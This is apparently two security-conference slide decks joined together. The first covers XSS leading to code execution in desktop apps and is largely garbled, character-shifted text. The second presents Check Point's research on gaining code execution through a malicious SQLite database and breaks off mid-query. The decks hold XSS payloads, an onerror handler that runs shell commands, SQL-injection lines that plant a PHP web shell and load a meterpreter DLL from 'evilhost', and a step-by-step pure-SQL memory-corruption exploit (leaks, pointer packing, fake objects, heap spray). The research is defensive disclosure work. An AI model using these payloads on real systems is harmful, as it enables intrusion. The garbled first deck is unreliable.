• :jcXgdUWYg%eichYg%cfVUW_gUg\YgbmcifMJB
• *
>YWhfcb <N>+)*1*)))))/
• <\fcaiadUfUaYhYfbYWhcb
• fYbXYfYfWaXdfYZl
• diUibW\Yf
• ihhmWaXdfYZl
• ddUddibUibW\Yf
• ''''
• K\Y>lYWihYO!GMEE% E cdYb % E <\fcaia'YlY bUW
XV6WaX'YlY %GMEE%GMEE% KOTKAHO"4
• :ZfUaYkcf_gVUgYXcb<\fcaiaaUm\UjYh\YgUaYggiY
bk'g ZfUaYkcf_
• : ZUacigXYg_hcdbchYUddWUhcb
• +)) Fcbg cZ igYfg
• BbYWh dUfUaYhYfhc YlYWihY WcaaUbX
JYgdcbgVYXgWcgifY
• )+(+*(+)*2fYdcfhYXhc>jYfbchY
• )-(*1(+)*2ZlYX
• OBGGHL>*22-*
MJB KW\YaY g =>:=8
• ?lYX b D;--202,. Vm FWfcgcZh !).(+2(+)*2"
• MJB KW\YaY g ifYbWcXYX
• <Ub bch bYWh dUfUaYhYfg
https://support.microsoft.com/en-hk/help/4497935/windows-10-update-kb4497935
URI
Scheme
APP
framework
:dd ZYUhifYg
• <fcggKhYKWfdhb ! PKK "
• IfjYYX :IB
• IfchcWc \UbXYf
L\Y PKK ghcfm VYbg Zfca aUf_Xckb YXhcfg
g YlYWihYX b h\Y dfYjYk kbXck
• bh\YmYUfcZ+)*/
• aUf_Xckb YXhcfg
• Fci ( FUWXckb ( NK<cXY '''
Ack hc Yldch8
• dfYjYk dUY fYbXYfYX b ZY XcaUb
• ghYU ZYg cb Xg_
• ghYU WfYXYbhUg !UWWcibh WcbY"
• J<>
• dfjYYX :IBg
• ;fckgYf *XUm
<UgY ghiXm3 FUW=ckb cWU ZY fYUX
• 010. ghUfg ( 2/* Zcf_g
JYgdcbgVY XgWcgifY
• )1(+.(+)*/ fYdcfhYX hc h\Y Uih\cf jU YaU
• )2().(+)*/ Uih\cf dUbYX hc fYacjYbYhkcf_WUdUVhYg
• )2()/(+)*/ bgghYX cb U dfcdYf Zl
• Kh UZZYWhYX bck
L\bg UfY Yhhb \UfXYf
• hhY PKK b aUf_Xckb YXhcfg bckUXUmg
• <cbhYbhKYWifhmIcWm!<KI"
• KUbXVcl
• gcUhYX WcbhYlh
• bc bcXY acXiYg !bcXYbhYfUhcb6ZUgY"
• AUfXYf hc ZbX% \UfXYf hc Yldch
EYhg cc_ Uh VfUfYg igYX Vm aUf_Xckb YXhcfg
aYfaUX
• W\Ufhg ( XUfUa
• **2, igYX ( +-+)0 ghUfg ( *-/+ Zcf_g
• UhYgh jYfgcb
https://mermaidjs.github.io/
aYfaUX lgg #,
graph TD
B --> C{<iframe src=javascript:alert`1`>}
graph LR;
A-->B;
click B callback "<iframe src=javascript:alert`1`>"
graph LR;
xss-->B;
click xss alert "callback"
click B "javascript:alert`1`" "link"
aYfaUXXYac ghY
DUhYl (FUh\Ul
• aUh\hmdYgYhhb
• DUhYl VYZcfYj)'*)')fW !/-)1 igYX ( *)0). ghUf ( 0,1 Zcf_"
• FUh\CUl VYZcfY j,VYhU',!*+*/ igYX( /12. ghUf ( 21+ Zcf_"
•
fYdcfhYX Vm ch\Yf img 3!
ZckW\Ufh'g
• ZckW\UfhXUfUag
• --1igYX ( /))) ghUfg ( 120 Zcf_g
• UhYgh jYfgcb
Kia h id
• aYfaUX !UhYgh"
• FUh\CUl !VYZcfY j,VYhU',"
• DUhYl !VYZcfYj)'*)')fW"
• ?ck<\Ufh'g !UhYgh"
• :ZZYWh acfY Uddg h\Ub kY ZbX
<UgY ghiXm3 AUW_F= !igb aYfaUX"
• */)%)))UWhjYigYfg
AUW_F= <KI
script-src 'self' vimeo.com https://gist.github.com www.slideshare.net 'unsafe-eval'
https://assets.hackmd.io https://www.google.com https://apis.google.com
https://docs.google.com https://www.dropbox.com https://*.disqus.com
https://*.disquscdn.com https://www.google-analytics.com
https://stats.g.doubleclick.net https://secure.quantserve.com
https://rules.quantcount.com https://pixel.quantserve.com https://js.driftt.com
https://embed.small.chat https://static.small.chat
https://www.googletagmanager.com https://cdn.ravenjs.com https://browser.sentry-
cdn.com 'nonce-cdbbafd5-903e-443c-bb33-c25b0cc73e21' 'sha256-
EtvSSxRwce5cLeFBZbvZvDrTiRoyoXbWWwvEVciM5Ag=' 'sha256-
NZb7w9GYJNUrMEidK01d3/DEtYztrtnXC/dQw7agdY4=' 'sha256-
L0TsyAQLAc0koby5DCbFAwFfRs9ZxesA+4xg0QDSrdI=';
https://csp-evaluator.withgoogle.com/
;mdUgg <KI igb @ccYLUFUbUYf
• <KIVmdUggZcibXVm9_*hhYb
https://github.com/k1tten/writeups/blob/master/bugbounty_writeup/HackMD_XSS_
%26_Bypass_CSP.md
AUW_F= PKK
AUW_F= XYg_hcd Udd
• fYbXYfYf'g b dfjYYX WcbhYlh
• kYVjYk hU fYbXYfg dUY b gUbXVcl
• bc bcXYbhYffUhcb
• Ack hc hifb PKK hc J<> b XYg_hcd Udd8
fYbXYfYf'g
• fYbXYf \ha Zfca gUbXVcl b U dfjYYX WcbhYlh
webview.addEventListener('dom-ready', function () {
// set webview title
document.querySelector('#navbar-
container .title').innerHTML = webview.getTitle()
document.querySelector('title').innerHTML =
webview.getTitle()
})
JYXfYWh hc Yldch dUY igb PKK
• cWUhcb6\hhd3((llll(Yldch'\ha
• LfYf XcafYUXm
<head>
<title>
<img src=1
onerror="process.mainModule.require('child_process').exec
('open /Applications/Calculator.app')">
</title>
</head>
JYgdcbgVYXgWcgifY
• )0()1(+)*2fYdcfhYXhcAUW_F=
• )0(**(+)*2ZlYX
ALFE bYWhcb b Uddg
• bc CUjUKWfdh YlYWihcb
• d\g\b8 UXjYfhgb8
IfjYYX:IBg
• bcXY acXiYg
• Wighca :IB
• CK;fXY kh\ kfUddYf
• igiUm \UjY diVW XcWg
<UgY ghiXm3 UdcdiUfW\UhUdd
• ;cbg cZ igYfg
• >aVYXYXVfckgYfkh\Wighca:IBg
• <ighca :IBgkh\cihXcaUbfYghfWhcb
• OYXcWiaYbhYXZcfXYjYcdYfg
• HdYbMJEgbYaVYXXYXVfckgYf
• KYbXUgdYWUhmdYcZaYggUY!?YYX<UfX FYggUY"
• BbUddMJBgW\YaY
<ighca:IBg
• Udd'XckbcUX?Y
• igYfW\ccgYUcWUhcbhcgUjYh\YZY
• Udd'cdYbEcWU?Y
• cdYbh\YZYXfYWhmkh\cihWcbZfaUhcb!aUWHK"
OYbYYXl
• >E?WUbbchYlYWihYkh\cihl
• ;Ug\(Imh\cboUfYcdYbYXVmhYlhYXhcfg
• 'Ufkcf_g
:hhUW_ gWYbUfc
ci \UjY CUjU
ci WW_ U ?YYX<UfX aYggUY Zfca U \UW_Yf
: XUc Ug_g mci hc gUjY U ZY
KUjb U ZY igiUm \UfaYgg% gc mci WW_YX gUjY
ci UfY \UW_YX
JYgdcbgVY XgWcgifY
• fYdcfhYX cb )*(+,(+)*2
• ZlYX b h\Y UhYgh jYfgcb
• HdYb h\Y ZcXYf bghYUX cZ h\Y ZY
IfchcWc \UbXYf
• \hhd
• fYbXYf dUY b Ub ibhfighYX WcbhYlh
• VfckgYf *XUm
• CUjUKWfdh
• gYbX fYeiYgh b ZY XcaUb
• ghYU cWU ZYg
• ZY ( KF;
• UibW\ dfcfUa
• GLEF JYUm
be careful of
<a>
<UgY ghiXm3 XiV
• ,)22 ghUfg ( *-,- Zcf_g
• OXYm igYX Vm <\bYgY XYg_hcd Uddg cb ObXckg
• \ha_YhUg ! g\ck\ha6hfiY "
• 5U l7hYlh5(U7 Zcf \mdYfb_
• 5 l m n7 Zcf aUY
• 5W llllll7hYlh5(W7 Zcf Wccf
https://github.com/duilib/duilib
U W\Uh Udd
• g\ck\ha6hfiY
• fYbXYfhUg b h\Y W\Uh fcid bUaY cf dYfgcbU ghUhig
GLEF JYUm UhhUW_ igb 57 hU
• 5 SSUhhUW_Yf **7
• gYbX kbXckg WfYXYbhUg UihcaUhWUm
• cbWY h\Y hU g fYbXYfYX cb h\Y jWhag aUW\bY
• igiUm kh\cih igYf bhYfUWhcb
• cZZbY VfihYZcfWY
• fYUm h\Y WfYXYbhUg hc ch\Yf gYfjWYg
• fYUm hc >lW\UbY !ghYU YaUg"
• fYUm hc Ubch\Yf aUW\bYh\Uh \UjY h\Y gUaY dUggkcfX
• o
<UgY ghiXm3 @\XfU
• VUgYX cb C:N:
• igb PFE hc XYgWfVY U dfcYWh
@\XfU PP>
• ZcibX Vm 9g\WhcaU
PP> g bch Ybci\
• ghYU ZYg
• gYbX \hhd fYeiYghg
• <Ub kY hifb h hc J<>8
@\XfU Zfca PP> hc J<>
• CUjU k gYbX WfYXYbhUg k\Yb YbWcibhYfg GLEFVUgYX
-)* \hhd fYgdcbgY
• :hhUW_Yf gYh id U aUWcig \hhd gYfjYf
• JYUm h\Y WfYXYbhUg hc KF; gYfjWY
https://xlab.tencent.com/en/2019/03/18/ghidra-from-xxe-to-rce/
feature
XSS
Privileged
API
Protocol
Handler
http
JavaScript
file
<cbWigcb
;Y WUfYZi k\Y XYVib
• IAI
• GcXYCK
• CUjU !jYfgcbg VYZcfY :df +)*1"
;Y WUfYZi k\Y igb h\YgY VfUfYg
• aYfaUX !UhYgh"
• FUh\CUl !VYZcfY j,VYhU',"
• DUhYl !VYZcfYj)'*)')fW"
• ?ck<\Ufh !UhYgh"
• XiV !kh\ g\ck\ha6hfiY"
• bk'g !fYghYfb MJB gW\YaY"
:W_bckYXYaYbhg
• 9hcaV_YYdYf
• 9>jF))b
• 9<cXY<ccfgh
• 9aVYW\Yf !\hhdg3((h\iV'Wca(aVYW\Yf"
• 9ViYW)fY!\hhd3((ViYW)fY'Vcgdch'Wca"
• 9_*hhYb!\hhdg3((h\iV'Wca(_*hhYb"
• 9g\WhcaU
• 9JWhYfR !\hhdg3((h\iV'Wca(JWhYfR"
• o
L\Ub_g | pdf |
SELECT code_execution FROM * USING SQLite;
-- gaining code execution using a malicious SQLite database
Omer Gull
Check Point Research
whoami
•
Omer Gull
•
Vulnerability Researcher
•
Check Point Research for the past 3 years
•
Now at Hunters.AI
Agenda
•
Motivation and back story
•
SQLite3 Intro
•
Examining the attack surface of a malicious DB
•
Previous work
•
Memory corruptions exploitation using pure SQL
•
Query Oriented Programming©
•
Demos
•
Future work and conclusion
Motivation
•
SQLite is one of the most deployed software modules
•
Querying an SQLite database is CONSIDERED SAFE
•
Spoiler: it’s not
Prologue
•
Password stealers!
•
A computer gets infected
•
Malware collects stored credentials maintained by various clients
•
Some client software store your secrets in SQLite databases
•
Malware sends SQLite DBs to C2 server
•
C2 extracts secrets and stores the loot
How It all Began
•
So one day, @Omriher and I were looking at the leaked sources of a
notorious password stealer and thought to ourselves
•
These guys just harvest a bunch of our DBs and parse them in their back-
end
•
Can we leverage the load and query of an untrusted database to our
advantage?
•
Could have much bigger implications in countless scenarios as SQLite is so
popular
•
And so began the longest CTF challenge
SQLite3
•
Unlike most other SQL databases, SQLite does not have a client server
architecture
•
SQLite reads and writes directly to files
•
A complete DB with multiple tables, indices, triggers and views is contained
in a single file
Examining the Attack Surface
•
sqlite3_open($FileDB)
•
sqlite3_query(“SELECT..”)
private function processnote($Data)
{
$FileDB = GetTempFile('notezilla');
if(!file_put_contents($FileDB, $Data))
return FALSE;
$db = new SQLite3($FileDB);
if(!$db)
return FALSE;
$Datax = $db->query('SELECT BodyRich FROM Notes');
$Result = '';
while($Element = $Datax->fetchArray())
{
$Data__ = rtf2text($Element['BodyRich']);
if(strlen($Data__))
{
$Result .= $Data__;
$Result .= str_pad("", 30, "-") . "\r\n";
}
}
$this->insert_downloads(substr($Result, 0, 20) . ".txt", $Result);
$db->close();
$db = $Datax = $Result = NULL;
@unlink($FileDB);
}
The Attack Surface:
sqlite3_open()
•
Setup and configuration code
•
Straight-forward header parsing
•
Header is 100 bytes long
•
Fuzzed to death by AFL
•
Not a very promising path to pursue :(
The Attack Surface:
sqlite3_query(“SELECT…”)
•
Using SQLite authors’ words:
•
SQLite is a Virtual Machine
•
Queries are compiled to bytecode
•
sqlite3_prepare() - would walk and expand the query
-
For example, rewrite * as all column names
•
sqlite3LocateTable() -verifies that all relevant objects actually exist and locates
them
“The SELECT statement is the most complicated command in the SQL language”
Preparation step
sqlite_master schema
CREATE TABLE sqlite_master (
type TEXT,
name TEXT,
tbl_name TEXT,
rootpage INTEGER,
sql TEXT
);
•
Every SQLite database has an sqlite_master table that defines the schema
for the database
•
sql is the DDL describing the object
Data Definition Language
•
DDL commands are like header files in C
•
Used to define the structure, names and types within a database
•
Appears in plain-text within a file
Data Definition Language
➜ /tmp sqlite3 hello_world.db
SQLite version 3.24.0 2018-06-04 14:10:15
Enter ".help" for usage hints.
sqlite> CREATE TABLE my_table (col_a TEXT, col_b TEXT);
sqlite> INSERT INTO my_table VALUES ('hello', 'world');
sqlite> .quit
➜ /tmp xxd -a hello_world.db
00000000: 5351 4c69 7465 2066 6f72 6d61 7420 3300 SQLite format 3.
00000010: 1000 0101 0040 2020 0000 0002 0000 0002 .....@ ........
00000020: 0000 0000 0000 0000 0000 0001 0000 0004 ................
00000030: 0000 0000 0000 0000 0000 0001 0000 0000 ................
00000040: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000050: 0000 0000 0000 0000 0000 0000 0000 0002 ................
00000060: 002e 2480 0d00 0000 010f b400 0fb4 0000 ..$.............
00000070: 0000 0000 0000 0000 0000 0000 0000 0000 ................
*
00000fb0: 0000 0000 4a01 0617 1d1d 0169 7461 626c ....J......itabl
00000fc0: 656d 795f 7461 626c 656d 795f 7461 626c emy_tablemy_tabl
00000fd0: 6502 4352 4541 5445 2054 4142 4c45 206d e.CREATE TABLE m
00000fe0: 795f 7461 626c 6520 2863 6f6c 5f61 2054 y_table (col_a T
00000ff0: 4558 542c 2063 6f6c 5f62 2054 4558 5429 EXT, col_b TEXT)
00001000: 0d00 0000 010f f100 0ff1 0000 0000 0000 ................
00001010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
*
00001ff0: 000d 0103 1717 6865 6c6c 6f77 6f72 6c64 ......helloworld
sqlite_master
Back to Query Preparation
•
sqlite3LocateTable() attempts to find the structure describing the table we
are interested in querying
•
Reads the schema available in sqlite_master
•
If this is the first time doing it, it will also have a callback function for every
DDL statement
•
The callback validates the DDL and builds the internal data structures of the
object
DDL Patching
•
Can we just replace the SQL query within the DDL?
int sqlite3InitCallback(void *pInit, int argc, char **argv, char **NotUsed){
InitData *pData = (InitData*)pInit;
sqlite3 *db = pData->db;
int iDb = pData->iDb;
...
if( argv==0 ) return 0; /* Might happen if EMPTY_RESULT_CALLBACKS are on */
if( argv[1]==0 ){
corruptSchema(pData, argv[0], 0);
}else if( sqlite3_strnicmp(argv[2],"create ",7)==0 ){
int rc;
...
TESTONLY(rcp = ) sqlite3_prepare(db, argv[2], -1, &pStmt, 0);
CREATE
•
Still leaves some room for flexibility
CREATE VIEW
•
VIEW is simply a pre-packaged SELECT statement
•
VIEWs are queried similarly to TABLEs
SELECT col_a FROM my_table == SELECT col_a FROM my_view
Query Hijacking
•
Patch sqlite_maser’s DDL with a VIEW instead of TABLE
•
Our patched VIEW can have any SELECT we wish
•
we can now interact with vast parts of the SQLite interpreter using our
SELECT sub-query
Query Hijacking Example
CREATE TABLE dummy (
col_a TEXT,
col_b TEXT
);
SELECT col_a, col_b FROM dummy;
CREATE VIEW dummy(cola, colb) AS SELECT (<sub-query-1>), (<sub-query-2>);
•
The original database had a single TABLE
•
Target software would query it with the following
•
The following VIEW can hijack this query
Query Hijacking Example
➜ /tmp sqlite3 query_hijacking.db
SQLite version 3.24.0 2018-06-04 14:10:15
Enter ".help" for usage hints.
sqlite> CREATE VIEW dummy(cola, colb) AS SELECT (
...> SELECT sqlite_version()
...> ),(
...> SELECT printf('SQLite implemented their own %s', 'printf')
...> );
sqlite> .quit
➜ /tmp sqlite3 query_hijacking.db
SQLite version 3.24.0 2018-06-04 14:10:15
Enter ".help" for usage hints.
sqlite> SELECT cola, colb FROM dummy;
3.24.0|SQLite implemented their own printf
sqlite>
•
We just gained control over the query
•
What can we do with it?
Previous Work
SQL Injection
•
A couple of known SQLi tricks in SQLite
-
Can’t ATTACH, DDL must begin with “CREATE “
-
Disabled by default :(
Credit: http://atta.cked.me/home/sqlite3injectioncheatsheet
ATTACH DATABASE ‘/var/www/lol.php’ AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES (‘<? system($_GET[‘cmd’]); ?>’);--
SELECT load_extension('\evilhost\evilshare\meterpreter.dll','DllMain');--
Memory Corruptions and SQLite
•
SQLite is written in C
•
“Finding bugs in SQLite, the easy way”
•
22 bugs in 30 minutes of fuzzing
CREATE VIRTUAL TABLE t0 USING fts4(x,order=DESC);
INSERT INTO t0(docid,x)VALUES(-1E0,'0(o');
INSERT INTO t0 VALUES('');
INSERT INTO t0 VALUES('');
INSERT INTO t0 VALUES('o');
SELECT docid FROM t0 WHERE t0 MATCH'"0*o"';
https://lcamtuf.blogspot.com/2015/04/finding-bugs-in-sqlite-easy-way.html
Memory Corruptions and SQLite
•
Interestingly, since version 3.8.10 (2015) SQLite started using AFL as an
integral part of their remarkable test suite
•
These memory corruptions proved to be difficult to exploit without a
convenient environment
•
The Security research community soon found the perfect target
WebSQL For Developers
•
Web page API for storing data in databases
•
Queried using Javascript
•
SQLite backend
•
Available in Chrome and Safari
var db = openDatabase('mydb', '1.0', 'Test DB', 2 * 1024 * 1024);
db.transaction(function (tx) {
tx.executeSql('CREATE TABLE IF NOT EXISTS LOGS (id unique, log)');
tx.executeSql('INSERT INTO LOGS (id, log) VALUES (1, "foobar")');
tx.executeSql('INSERT INTO LOGS (id, log) VALUES (2, "logmsg")');
});
WebSQL For Attackers
•
Untrusted input into SQLite
•
Reachable from any website
•
A couple of the world’s most popular browsers
•
Bugs could be leveraged with the comfort of a Javascript interpreter
WebSQL - Attacks
•
Several impressive researches have been published
•
From low hanging fruits like CVE-2015-7036
-
untrusted pointer dereference fts3_tokenizer()
•
To more complex exploits presented in Blackhat 2017 by Chaitin
-
Type confusion in fts3OptimizeFunc()
•
And the recent Magellan bugs found by Tencent
-
Integer overflow in fts3SegReaderNext()
FTS?
Full Text Search
•
Virtual table module
•
Textual searches on a set of documents
“Like Google for your SQLite database”
Virtual Tables
•
Plenty of cool functionalities: FTS, RTREE, CSV
•
From the perspective of an SQL statement, the virtual table object looks like
any other table or view
•
Behind the scenes, dark magic happens
-
Queries and updates invoke callback methods on shadow tables
Shadow Tables
CREATE VIRTUAL TABLE vt USING FTS3 (content TEXT);
INSERT INTO vt VALUES('Hello world');
vt_content
vt_segdir
vt_segments
Raw text
Metadata
Shadow Tables
RTREE Bug
•
RTREE virtual table
•
Compiled with SQLite in MacOS, iOS and Windows 10
•
Geographical indexing
CREATE VIRTUAL TABLE demo_index USING rtree(
id, --integer
X,
Y
);
•
So RTREE interfaces would expect id to be an integer
CREATE VIRTUAL TABLE vt USING RTREE(id, X, Y);
INSERT INTO vt VALUES('Definitely not an int', 1, 2);
SELECT rtreenode(2, id) FROM vt;
Now Also Available In Windows
10: CVE-2019-8457
Scriptless Exploitation?
•
Virtual tables has bugs
•
Using query hijacking we can trigger them at the C2 and cause a SEGFAULT
•
Gaining flow control requires some form of scripting
•
We don’t have JS
•
We vaguely recall hearing somewhere that SQL is turing complete
My Exploitation Primitives
Wish-list
•
Leaking memory
•
Unpacking of 64-bit pointers
•
Pointer arithmetics
•
Packing of 64-bit pointers
•
Crafting complex fake objects in memory
•
Heap Spray
Exploitation With Pure SQL
Query Oriented Programming ©
QOP by Example:
The Unfixed CVE-2015-7036
•
WAT? How come a 4 year old bug is still unfixed
-
It was only ever considered dangerous in the context of untrusted webSQL
•
blacklisted unless compiled with ENABLE_FTS_TOKENIZER
•
Still vulnerable:
-
PHP5
-
PHP7
-
iOS
-
MacOS
-
…
CVE-2015-7036
•
A Tokenizer is a set of rules for extracting terms from a document or a query.
•
The default Tokenizer “simple” just splits strings by whitespaces
•
Custom tokenizers can be registered with fts3_tokenizer() in an SQL query
CVE-2015-7036
•
fts3_tokenizer() is an overloaded function:
sqlite> SELECT fts3_tokenizer('simple');
??=?1V
sqlite> SELECT hex(fts3_tokenizer('simple'));
80A63DDB31560000
sqlite> SELECT fts3_tokenizer('simple', x'4141414141414141');
sqlite> CREATE VIRTUAL TABLE vt USING fts3 (content TEXT);
Segmentation fault
RECAP
•
SQLite is a wonderful one-shot for many targets
•
Complex machine written in C
•
Query Hijacking can trigger bugs
•
We aim to write a full exploit implementing all necessary primitives with SQL
queries
Exploitation Game Plan
•
Leak some pointers
•
Calculate functions addresses
•
Create a fake tokenizer object with some pointers to system()
•
Spray fake tokenizer
•
Override the default tokenizer function pointer
•
Trigger our malicious tokenizer
•
???
•
Grab your grandma’s Yahoo password
Memory Leak
sqlite3> SELECT SUBSTR((SELECT hex(fts3_tokenizer('simple'))), -2, 2)||
SUBSTR((SELECT hex(fts3_tokenizer('simple'))), -4, 2)||
SUBSTR((SELECT hex(fts3_tokenizer('simple'))), -6, 2)||
SUBSTR((SELECT hex(fts3_tokenizer('simple'))), -8, 2)||
SUBSTR((SELECT hex(fts3_tokenizer('simple'))), -10, 2)||
SUBSTR((SELECT hex(fts3_tokenizer('simple'))), -12, 2)||
SUBSTR((SELECT hex(fts3_tokenizer('simple'))), -14, 2)||
SUBSTR((SELECT hex(fts3_tokenizer('simple'))), -16, 2);
+-----------------------------------------------------------------+
| 00007F3D3254A8E0 |
+-----------------------------------------------------------------+
sqlite3> CREATE VIRTUAL TABLE vt USING FTS3(content TEXT);
sqlite3> INSERT INTO vt values('some text');
sqlite3> SELECT hex(vt) FROM vt WHERE content MATCH 'text';
+---------------------+
| 08C453FF88550000 |
+---------------------+
•
Libsqlite leak
•
Heap leak
My Exploitation Primitives Wish-
list
•
Leaking memory
•
Unpacking of 64-bit pointers
•
Pointer arithmetics
•
Packing of 64-bit pointers
•
Crafting complex fake objects in memory
•
Heap Spray
Pseudo-variables
•
Unlike browser WebSQL exploitation, no JS variables and arrays to use
•
We can only CREATE TABLE || VIEW || INDEX || TRIGGER
•
Chaining VIEWs together we can use them as pseudo-variables
sqlite3> CREATE VIEW le_leak AS SELECT hex(fts3_tokenizer("simple")) AS col;
sqlite3> CREATE VIEW leak AS SELECT SUBSTR((SELECT col FROM le_leak), -2, 2)||
SUBSTR((SELECT col FROM le_leak), -4, 2)||
SUBSTR((SELECT col FROM le_leak), -6, 2)||
SUBSTR((SELECT col FROM le_leak), -8, 2)||
SUBSTR((SELECT col FROM le_leak), -10, 2)||
SUBSTR((SELECT col FROM le_leak), -12, 2)||
SUBSTR((SELECT col FROM le_leak), -14, 2)||
SUBSTR((SELECT col FROM le_leak), -16, 2) AS col;
sqlite3> SELECT col FROM leak;
+------------------+
| 00007F3D3254A8E0 |
+------------------+
Unpacking of 64-bit pointers
•
To calculate the base of an image or the heap we have to convert our
pointers to integers
sqlite3> CREATE VIEW u64_leak AS SELECT (
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -1, 1)) -1) * (1 << 0))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -2, 1)) -1) * (1 << 4))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -3, 1)) -1) * (1 << 8))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -4, 1)) -1) * (1 << 12))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -5, 1)) -1) * (1 << 16))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -6, 1)) -1) * (1 << 20))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -7, 1)) -1) * (1 << 24))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -8, 1)) -1) * (1 << 28))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -9, 1)) -1) * (1 << 32))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -10, 1)) -1) * (1 << 36))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -11, 1)) -1) * (1 << 40))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -12, 1)) -1) * (1 << 44))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -13, 1)) -1) * (1 << 48))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -14, 1)) -1) * (1 << 52))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -15, 1)) -1) * (1 << 56))) +
(SELECT ((instr("0123456789ABCDEF", substr((SELECT col FROM leak), -16, 1)) -1) * (1 << 60)))
) AS col;
sqlite3> SELECT col FROM u64_leak;
+-----------------+
| 139900814141664 |
+-----------------+
My Exploitation Primitives Wish-
list
•
Leaking memory
•
Unpacking of 64-bit pointers
•
Pointer arithmetics
•
Packing of 64-bit pointers
•
Crafting complex fake objects in memory
•
Heap Spray
Pointer Arithmetics
•
With integers at hand pointer arithmetics is simple
sqlite3> CREATE VIEW u64_libsqlite_base AS SELECT (
(SELECT col FROM u64_leak ) - ( SELECT ‘3164384')
) as col;
sqlite3> SELECT col FROM u64_libsqlite_base;
+-----------------+
| 140713244319744 |
+-----------------+
My Exploitation Primitives Wish-
list
•
Leaking memory
•
Unpacking of 64-bit pointers
•
Pointer arithmetics
•
Packing of 64-bit pointers
•
Crafting complex fake objects in memory
•
Heap Spray
Packing of 64-bit pointers
•
Write back manipulated pointers
•
char()
sqlite3> SELECT char(0x41);
+------------+
| A |
+------------+
sqlite3> SELECT hex(char(0x41));
+-----------------+
| 41 |
+-----------------+
sqlite3> SELECT char(0xFF);
+------------+
| ÿ |
+------------+
sqlite3> SELECT hex(char(0xFF));
+-----------------+
| C3BF |
+-----------------+
Packing of 64-bit pointers
sqlite3> CREATE VIEW p64_libsqlite_base AS SELECT cast(
(SELECT val FROM hex_map WHERE int = (((select col from u64_libsqlite_base) / (1 << 0) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_libsqlite_base) / (1 << 8)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_libsqlite_base) / (1 << 16)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_libsqlite_base) / (1 << 24)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_libsqlite_base) / (1 << 32)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_libsqlite_base) / (1 << 40)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_libsqlite_base) / (1 << 48)) % 256))||
(SELECT val FROM hex_map WHERE int = (((select col from u64_libsqlite_base) / (1 << 56)) % 256))
as blob) as col;
•
Oh right! our exploit is actually a DB!
•
We can prepare a key-value table in advanced while generating the DB
and use sub-queries
•
Our conversion with sub-queries
def gen_int2hex_map():
conn.execute("CREATE TABLE hex_map (int INTEGER, val BLOB);")
for i in range(0xFF):
conn.execute("INSERT INTO hex_map VALUES ({}, x'{}');".format(i, "".join('%02x' % i)))
My Exploitation Primitives Wish-
list
•
Leaking memory
•
Unpacking of 64-bit pointers
•
Pointer arithmetics
•
Packing of 64-bit pointers
•
Crafting complex fake objects in memory
•
Heap Spray
Crafting Complex Objects in
Memory
•
Writing a single pointer is definitely useful but not enough
•
Faking objects <3
•
Recall that fts3_tokenizer() requires us to assign a tokenizer module
struct sqlite3_tokenizer_module {
int iVersion;
int (*xCreate)(int argc, const char *const*argv,
sqlite3_tokenizer **ppTokenizer);
int (*xDestroy)(sqlite3_tokenizer *pTokenizer);
int (*xOpen)(sqlite3_tokenizer *pTokenizer,
const char *pInput, int nBytes,
sqlite3_tokenizer_cursor **ppCursor);
...
};
Create tokenizer
Destroy tokenizer
Tokenize a string
Fake Object Example
sqlite3> CREATE VIEW fake_tokenizer AS SELECT x'4141414141414141' ||
p64_simple_create.col ||
p64_simple_destroy.col ||
x'4242424242424242' FROM p64_simple_create
JOIN p64_simple_destroy;
•
JOIN queries
•
Verifying it with a debugger
My Exploitation Primitives Wish-
list
•
Leaking memory
•
Unpacking of 64-bit pointers
•
Pointer arithmetics
•
Packing of 64-bit pointers
•
Crafting complex fake objects in memory
•
Heap Spray
Heap Spray
•
We have our malicious tokenizer
•
We know where the heap is located but not sure exactly where our tokenizer
is
•
Time for some Heap Spray
•
Ideally some repetitive form of our “fakeobj” primitive
•
REPEAT()
-
Sadly, SQLite did not implement it like MySQL
stackoverflow.com for the win!
•
zeroblob(N) function returns a BLOB consisting of N bytes
•
replace(X, Y) to replace every X with Y
sqlite3> SELECT replace(hex(zeroblob(10000)), "00",x'4141414141414141'||
p64_simple_create.col ||
p64_simple_destroy.col ||
x'4242424242424242') FROM p64_simple_create
JOIN p64_simple_destroy;
repetition every 0x20 bytes
My Exploitation Primitives Wish-
list
•
Leaking memory
•
Unpacking of 64-bit pointers
•
Pointer arithmetics
•
Packing of 64-bit pointers
•
Crafting complex fake objects in memory
•
Heap Spray
Our Target
class Module_notezilla extends Module_
{
private function processnote($Data)
{
$FileDB = GetTempFile(‘notezilla');
if(!file_put_contents($FileDB, $Data))
return FALSE;
$db = new SQLite3($FileDB);
if(!$db)
return FALSE;
$Datax = $db->query('SELECT BodyRich FROM Notes’);
QOP Chaining
CREATE VIEW Notes AS SELECT (( SELECT * FROM heap_spray) +
( SELECT * FROM override_simple_tokenizer) +
( SELECT * FROM trigger_malicious_tokenizer)) AS BodyRich;
CREATE VIEW heap_spray AS SELECT replace(hex(zeroblob(10000)), "00",x'4141414141414141'||
p64_simple_create.col ||
p64_simple_destroy.col ||
